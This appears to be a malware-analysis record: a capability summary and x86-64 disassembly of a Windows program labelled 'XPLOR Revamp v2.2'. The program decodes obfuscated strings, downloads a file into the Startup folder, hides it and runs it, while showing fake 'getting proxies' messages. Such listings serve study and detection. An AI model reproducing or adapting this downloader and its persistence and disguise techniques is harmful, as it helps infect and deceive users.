Function at 0x140006220
Capabilities:
Access peb ldr_data
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Create thread
Download url
Encode data using xor
Execute command
Get common file path
Get file attributes
Get ntdll base address
Get startup folder
Receive data
Set console window title
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rbp + 0x220], rax
xor ebx, ebx
lea rcx, str.chcp_65001___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.XPLOR_Revamp___v2.2
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call fcn.140005b60
test al, al
je 0x14000627c
mov byte [0x14000d7e8], 1
mov ecx, 8
call fcn.140007190
lea rcx, [0x140001060]
mov qword [rax], rcx
mov qword [rbp - 0x30], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x1400070f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140006b5f
cmp dword [rsp + 0x38], 0
je 0x140006b53
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140006b53
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
call fcn.1400054c0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
call fcn.140001220
call fcn.140001460
test eax, eax
je 0x14000632a
mov byte [0x14000d7e8], 1
call fcn.140001660
test eax, eax
je 0x14000633a
mov byte [0x14000d7e8], 1
mov dword [rsp + 0x50], 0x315f3142
mov dword [rsp + 0x54], 0x315d3158
mov dword [rsp + 0x58], 0x3115315d
mov dword [rsp + 0x5c], 0x311e311f
mov dword [rsp + 0x60], 0x315a3154
mov dword [rsp + 0x64], 0x31503158
mov dword [rsp + 0x68], 0x31503118
mov dword [rsp + 0x6c], 0x314b3159
mov dword [rsp + 0x70], 0x315e315e
mov dword [rsp + 0x74], 0x31123152
mov dword [rsp + 0x78], 0x314b3164
mov dword [rsp + 0x7c], 0x31113139
mov dword [rbp - 0x80], 0x3173313a
mov dword [rbp - 0x7c], 0x3168310c
mov dword [rbp - 0x78], 0x312c3101
mov dword [rbp - 0x74], 0x31063131
mov dword [rbp - 0x70], 0x3122312e
mov dword [rbp - 0x6c], 0x312f3103
mov dword [rbp - 0x68], 0x313a3161
mov dword [rbp - 0x64], 0x31293120
mov dword [rbp - 0x60], 0x317d3161
mov dword [rbp - 0x5c], 0x31343136
mov dword [rbp - 0x58], 0x3122
mov byte [rbp - 0x54], 1
mov rax, rbx
movdqa xmm3, xmmword [0x140009f70]
mov r8d, 4
movdqa xmm4, xmmword [0x140009f80]
nop dword [rax]
nop dword [rax + rax]
movq xmm0, rax
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm4
paddq xmm2, xmm0
movd xmm1, dword [rsp + rax*2 + 0x50]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x50], xmm1
lea rcx, [r8 - 1]
lea rdx, [r8 - 2]
movq xmm0, rcx
movq xmm2, rdx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm3
movd xmm1, dword [rsp + rax*2 + 0x54]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x54], xmm1
movq xmm0, r8
punpcklqdq xmm0, xmm0
movdqa xmm2, xmm4
paddq xmm2, xmm0
movd xmm1, dword [rsp + rax*2 + 0x58]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x58], xmm1
lea rcx, [r8 + 3]
lea rdx, [r8 + 2]
movq xmm0, rcx
movq xmm2, rdx
punpcklqdq xmm2, xmm0
paddq xmm2, xmm3
movd xmm1, dword [rsp + rax*2 + 0x5c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rax*2 + 0x5c], xmm1
add rax, 8
add r8, 8
cmp r8, 0x2c
jb 0x140006410
cmp rax, 0x2d
jae 0x140006531
mov edx, 0x312a
nop dword [rax]
nop word [rax + rax]
lea ecx, [rdx + rax]
xor word [rsp + rax*2 + 0x50], cx
inc rax
cmp rax, 0x2d
jb 0x140006520
mov byte [rbp - 0x54], 0
lea r8, [rbp - 0x56]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x10]
call fcn.140006de0
nop
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rcx, [rbp - 0x30]
test eax, eax
lea rdx, [rbp + 0x10]
jns 0x140006577
lea rdx, [0x140009afc]
call fcn.140005a20
nop
mov dword [rsp + 0x30], 0x314f3176
mov dword [rsp + 0x34], 0x315e3149
mov dword [rsp + 0x38], 0x315b3145
mov dword [rsp + 0x3c], 0x3141315f
mov dword [rsp + 0x40], 0x3151311c
mov dword [rsp + 0x44], 0x31413155
mov word [rsp + 0x48], bx
mov byte [rsp + 0x4a], 1
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.140006b70
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000660d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006608
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006608
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000729c
cmp byte [0x14000d7e8], 0
jne 0x140006827
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Getting_proxies.._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.WARNING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___This_might_take_a_while_depending_on_your_system___This_is_a_one_time_thing__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400067a5
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rdx, qword [rbp - 0x10]
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova r8, qword [rbp - 0x50]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jns 0x140006827
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xc
call fcn.1400061f0
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xf
call fcn.1400061f0
lea rdx, str.___Failed_to_get_proxies_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Proxies_already_found__now_skipping..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x14000d7e9], 1
jmp 0x140006a7b
cmp byte [0x14000d7e9], 0
jne 0x140006a7b
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Retrieved_proxies__now_configuring.._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x140006920
call fcn.140004300
mov ecx, 0xc
call fcn.1400061f0
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xf
call fcn.1400061f0
lea rdx, str.___Failed_to_configure_proxies__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.LOADING
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Retrieved_proxies__now_loading.._n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova r8, qword [rbp - 0x50]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, [0x140009da8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp eax, 0x20
jg 0x140006a13
call fcn.140004300
mov ecx, 0xc
call fcn.1400061f0
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xf
call fcn.1400061f0
lea rdx, str.___Failed_to_load_proxies__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.FINISH
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Succesfully_loaded_proxies_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004300
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140009b34]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400020e0
call fcn.140003990
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140006ad6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ad1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006ad1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000729c
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], bx
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x140006b29
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b24
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000729c
xor eax, eax
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.140007170
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3